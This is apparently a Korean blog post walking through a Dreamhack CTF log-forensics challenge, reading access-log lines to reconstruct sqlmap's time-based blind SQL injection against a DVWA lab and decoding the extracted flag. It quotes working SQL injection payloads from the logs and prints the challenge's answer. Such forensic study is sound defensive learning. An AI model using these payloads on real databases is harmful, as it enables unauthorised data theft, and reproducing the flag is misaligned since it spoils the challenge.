Dreamhack

[144] IT 비전공자 [dreamhack]access-log문제 풀기

imaginefuture-1 2025. 2. 1. 17:51

함께 풀어보아용~! 로그 파일 하나로 분석을 해보자구요!

 

 

172.20.0.1 -- [26/Apr/2024:17:38:33+0000] "GET /vulnerabilities/sqli/?id=1).,(,)"('(&Submit=Submit HTTP/1.1" 200 688 "http://localhost:4280/vulnerabilities/sqli/" "sqlmap/1.2.4#stable(http://sqlmap.org)"

 

 

 

 

 

엄청난 로그들의 향연..

 

flag키워드를 검색해보니 299개줄 검색

 

172.20.0.1--[26/Apr/2024:17:50:55+0000]"GET/vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),1,1))>68),SLEEP(1),9329)-- QEcW&Submit=SubmitHTTP/1.1"2001804"-""sqlmap/1.2.4#stable(http://sqlmap.org)"
172.20.0.1--[26/Apr/2024:17:50:55+0000]"GET/vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),1,1))>66),SLEEP(1),9329)-- QEcW&Submit=SubmitHTTP/1.1"2001664"-""sqlmap/1.2.4#stable(http://sqlmap.org)"
172.20.0.1--[26/Apr/2024:17:50:56+0000]"GET/vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),1,1))>67),SLEEP(1),9329)-- QEcW&Submit=SubmitHTTP/1.1"2001664"-""sqlmap/1.2.4#stable(http://sqlmap.org)"
172.20.0.1--[26/Apr/2024:17:50:57+0000]"GET/vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),1,1))!=68),SLEEP(1),9329)-- QEcW&Submit=SubmitHTTP/1.1"2001806"-""sqlmap/1.2.4#stable(http://sqlmap.org)"

 

응답 바이트크기가 1800대가 대부분인데 갑자기 1600대 반환이 보였다

68보다 크다에 1804

66보다 크다에 1664

67보다 크다에 1664

68이 아니다에 1806

 

즉 67 혹은 68인 상태

ASCLL 코드에서 67은 C 68은 D

우리는 FLAG 포맷이 DH{}인걸 아니까

즉 68 = D

 

더욱 중요한 사실은 != 기호가 있을 때 정답을 유추할 수 있다는 점입니다. 아래와 같이 정규표현식을 구성합니다. Notepad++의 정규식 검색을 이용한 결과, 아래와 같이 24개의 결과가 일치됩니다.
dvwa.flag ORDER BY id LIMIT 0,1),\d{1,2},1))!=\d{2,3}

출처: 드림핵 강의 중

 

근데 난 정규표현식 검색이 안됨;;;

변수 발생..

https://velog.io/@rhdmstnrk/access-log

 

access-log

사진과 같은 log파일에서 flag를 도출해야한다.우선 구문을 하나 가져와서 보자URL 디코딩 후 값id와 sql 구문, sleep을 근거로 Time-based Blind SQLi 임을 알 수 있다.오류 메시지 없음데이터베이스 오류나

velog.io

 

 

 

68 72 123 97 110 65 49 121 122 49 110 71 86 101 51 121 66 49 57 76 48 103 125



요걸 문자열로 변환하면

 

DH{anA1yz1nGVe3yB19L0g}